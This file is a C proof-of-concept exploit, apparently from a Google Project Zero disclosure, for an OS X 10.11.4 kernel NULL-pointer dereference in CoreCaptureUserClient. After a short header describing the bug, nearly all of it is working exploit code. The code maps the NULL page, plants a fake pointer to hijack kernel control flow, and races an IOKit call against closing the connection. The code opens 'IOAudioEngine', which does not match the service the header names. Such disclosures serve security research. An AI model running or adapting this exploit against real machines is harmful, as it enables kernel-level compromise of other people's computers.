/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=777
Pretty much all the external methods of CoreCaptureUserClient call CoreCaptureUserClient::stashGet passing an attacker controlled key.
If that key isn't in the list of stashed objects then stashGet returns a NULL pointer. No callers actually check
the return value though which leads immediately to a call to a virtual method on a NULL pointer. By mapping the NULL
page we can get trivial RIP control.
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
*/
// ianbeer
//clang -o CoreCaptureNull CoreCaptureNull.c -framework IOKit -m32 -lpthread -pagezero_size 0x0
/*
OS X exploitable kernel NULL dereference in CoreCaptureResponder due to unchecked return value
Pretty much all the external methods of CoreCaptureUserClient call CoreCaptureUserClient::stashGet passing an attacker controlled key.
If that key isn't in the list of stashed objects then stashGet returns a NULL pointer. No callers actually check
the return value though which leads immediately to a call to a virtual method on a NULL pointer. By mapping the NULL
page we can get trivial RIP control.
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
#include <libkern/OSAtomic.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
unsigned int selector = 0;
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
uint8_t inputStruct[40960];
size_t inputStructCnt = 0;
uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;
char outputStruct[40960] = {0};
size_t outputStructCnt = 0;
io_connect_t global_conn = MACH_PORT_NULL;
void set_params(io_connect_t conn){
global_conn = conn;
selector = 0;
inputScalarCnt = 4;
inputStructCnt = 0;
outputScalarCnt = 16;
outputStructCnt = 40960;
}
void make_iokit_call(){
IOConnectCallMethod(
global_conn,
selector,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
}
OSSpinLock lock = OS_SPINLOCK_INIT;
void* thread_func(void* arg){
int got_it = 0;
while (!got_it) {
got_it = OSSpinLockTry(&lock);
}
// usleep(1);
make_iokit_call();
return NULL;
}
mach_port_t get_user_client(char* name, int type) {
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching(name);
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
return conn;
}
int main(int argc, char** argv){
kern_return_t err;
// re map the null page rw
int var = 0;
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
if (err != KERN_SUCCESS){
printf("%x\n", err);
}
vm_address_t addr = 0;
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
if (err != KERN_SUCCESS){
if (err == KERN_INVALID_ADDRESS){
printf("invalid address\n");
}
if (err == KERN_NO_SPACE){
printf("no space\n");
}
printf("%x\n", err);
}
char* np = 0;
for (int i = 0; i < 0x1000; i++){
np[i] = '\xff';
}
*((uint64_t*)0x28) = 0xffffff4141414141;
OSSpinLockLock(&lock);
pthread_t t;
pthread_create(&t, NULL, thread_func, NULL);
mach_port_t conn = get_user_client("IOAudioEngine", 0);
set_params(conn);
OSSpinLockUnlock(&lock);
IOServiceClose(conn);
}
